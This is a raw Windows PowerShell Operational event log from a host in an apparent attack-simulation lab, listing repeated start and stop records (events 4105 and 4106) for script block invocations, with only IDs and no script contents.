Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030496
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030495
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030473
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030472
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030471
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030470
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030454
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030453
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030448
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030447
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
